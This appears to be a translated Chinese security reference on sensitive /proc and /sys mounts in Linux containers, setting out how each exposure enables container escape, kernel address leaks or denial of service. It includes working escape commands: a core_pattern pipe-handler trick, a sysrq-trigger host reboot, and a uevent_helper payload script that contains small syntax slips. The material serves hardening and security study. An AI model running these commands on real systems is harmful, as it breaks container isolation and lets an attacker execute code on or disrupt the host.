敏感挂载

由于缺乏命名空间支持,/proc/sys的暴露提供了重大攻击面和信息泄露的来源。procfssysfs中的许多文件为容器逃逸、主机修改或基本信息泄露提供了风险,这些可能促进其他攻击。

procfs

/proc/sys

/proc/sys通常允许访问修改内核变量,通常通过sysctl(2)控制。

/proc/sys/kernel/core_pattern

/proc/sys/kernel/core_pattern定义了一个程序,该程序在核心文件生成时执行(通常是程序崩溃),如果此文件的第一个字符是管道符号|,则将核心文件作为标准输入传递。此程序由root用户运行,将允许最多128字节的命令行参数。这在任何崩溃和核心文件生成的情况下(可以在各种恶意操作期间简单地丢弃)允许在容器主机内进行简单的代码执行。

$ cd /proc/sys/kernel
$ echo "|$overlay/shell.sh" > core_pattern
$ sleep 5 && ./crash &

参考资料:

/proc/sys/kernel/modprobe

/proc/sys/kernel/modprobe包含内核模块加载器的路径,在加载内核模块时调用,例如通过modprobe命令。可以通过执行任何触发内核尝试加载内核模块的操作(例如使用crypto-API加载当前未加载的加密模块,或使用ifconfig为当前未使用的设备加载网络模块)来获得代码执行权限。

/proc/sys/vm/panic_on_oom

/proc/sys/vm/panic_on_oom是一个全局标志,确定内核在遇到内存不足(OOM)条件时是否会恐慌(而不是调用OOM杀手)。这更像拒绝服务(DoS)攻击而不是容器逃逸,但它同样暴露了应该只对主机可用的能力。

/proc/sys/fs

/proc/sys/fs目录包含一个关于文件系统各个方面的选项和信息数组,包括配额、文件句柄、inode和dentry信息。对此目录的写访问将允许对主机进行各种拒绝服务攻击。

/proc/sys/fs/binfmt_misc

/proc/sys/fs/binfmt_misc允许执行各种二进制格式,这通常意味着可以为非本地二进制格式(如Java)注册各种解释器,基于它们的魔术数字。虽然此路径通常可被AppArmor规则写入,但NCC不知道任何漏洞利用,尽管大多数容器应用程序可能不需要它。

/proc/config.gz

/proc/config.gz取决于CONFIG_IKCONFIG_PROC设置,这暴露了运行内核的内核配置选项的压缩版本。这可能允许受损或恶意的容器轻松发现和定位内核中启用的脆弱区域。

/proc/sysrq-trigger

Sysrq是一种旧机制,可以通过特殊的SysRq键盘组合调用。这可以允许系统立即重启,发出sync(2),将所有文件系统重新挂载为只读,调用内核调试器和其他操作。

如果客户机没有被正确隔离,它可以通过向/proc/sysrq-trigger文件写入字符来触发sysrq命令。

# 重启主机
echo b > /proc/sysrq-trigger

/proc/kmsg

/proc/kmsg可以暴露通常通过dmesg访问的内核环形缓冲区消息。此信息的暴露可以帮助内核漏洞利用,触发内核地址泄露(可能用于帮助击败内核地址空间布局随机化(KASLR)),并且是关于内核、硬件、被阻止数据包和其他系统详细信息的一般信息泄露来源。

/proc/kallsyms

/proc/kallsyms包含内核导出符号及其动态和可加载模块的地址位置列表。这还包括内核映像在物理内存中的位置,这对内核漏洞利用开发很有帮助。从这些位置,可以找到内核的基地址或偏移量,这可以用来克服内核地址空间布局随机化(KASLR)。

对于kptr_restrict设置为12的系统,此文件将存在但不提供任何地址信息(尽管符号列出的顺序与内存中的顺序相同)。

/proc/[pid]/mem

/proc/[pid]/mem暴露了内核内存设备/dev/mem的接口。虽然PID命名空间可以防止一些通过此procfs向量的攻击,但这个区域在历史上是脆弱的,然后被认为安全,但再次被发现脆弱用于权限提升。

/proc/kcore

/proc/kcore表示系统的物理内存,采用ELF核心格式(通常在核心转储文件中找到)。它不允许写入所述内存。读取此文件(限制为特权用户)可以从主机系统和其他容器泄露内存内容。

报告的大文件大小代表架构的最大物理可寻址内存量,并且在读取它时可能会引起问题(或根据软件的脆弱性而崩溃)。

2019年转储/proc/kcore

/proc/kmem

/proc/kmem/dev/kmem的替代接口(对其的直接访问被cgroup设备白名单阻止),这是一个表示内核虚拟内存的字符设备文件。它允许读写,允许直接修改内核内存。

/proc/mem

/proc/mem/dev/mem的替代接口(对其的直接访问被cgroup设备白名单阻止),这是一个表示系统物理内存的字符设备文件。它允许读写,允许修改所有内存。(它需要比kmem更多的技巧,因为虚拟地址需要首先解析为物理地址)。

/proc/sched_debug

/proc/sched_debug是一个特殊文件,返回整个系统的进程调度信息。此信息包括来自所有命名空间的进程名称和进程ID,以及进程cgroup标识符。这有效地绕过了PID命名空间保护,并且是其他/世界可读的,因此它也可以在非特权容器中被利用。

/proc/[pid]/mountinfo

/proc/[pid]/mountinfo包含有关进程挂载命名空间中挂载点的信息。它暴露了容器rootfs或镜像的位置。

sysfs

/sys/kernel/uevent_helper

uevents是当设备添加或移除时由内核触发的事件。值得注意的是,uevent_helper的路径可以通过写入/sys/kernel/uevent_helper来修改。然后,当触发uevent时(也可以通过写入如/sys/class/mem/null/uevent之类的文件从用户空间完成),恶意的uevent_helper被执行。

# 创建payload
cat "#!/bin/sh" > /evil-helper
cat "ps > /output" >> /evil-helper
chmod +x /evil-helper
# 查找容器的OverlayFS挂载路径
# 除非配置明确暴露主机文件系统的挂载点
# 参见 https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
# 将uevent_helper设置为/path/payload
echo "$host_path/evil-helper" > /sys/kernel/uevent_helper
# 触发uevent
echo change > /sys/class/mem/null/uevent
# 或者
# echo /sbin/poweroff > /sys/kernel/uevent_helper
# 读取输出
cat /output

/sys/class/thermal

访问ACPI和各种用于温度控制的硬件设置,通常在笔记本电脑或游戏主板上找到。这可能允许对容器主机进行DoS攻击,甚至可能导致物理损坏。

/sys/kernel/vmcoreinfo

此文件可能泄露内核地址,这些地址可用于击败KASLR。

/sys/kernel/security

/sys/kernel/security中挂载了securityfs接口,它允许配置Linux安全模块。这允许配置AppArmor策略,因此访问此文件可能允许容器禁用其MAC系统。

/sys/firmware/efi/vars

/sys/firmware/efi/vars暴露了与NVRAM中的EFI变量交互的接口。虽然这对于大多数服务器通常不相关,但EFI变得越来越受欢迎。权限弱点甚至导致一些笔记本电脑变砖。

/sys/firmware/efi/efivars

/sys/firmware/efi/efivars提供了一个接口来写入用于UEFI启动参数的NVRAM。修改它们可能使主机机器无法启动。

/sys/kernel/debug

debugfs提供了一个"无规则"接口,通过它内核(或内核模块)可以创建用户空间可访问的调试接口。它在过去有许多安全问题,并且文件系统背后的"无规则"指导方针经常与安全约束冲突。

参考资料

最后更新于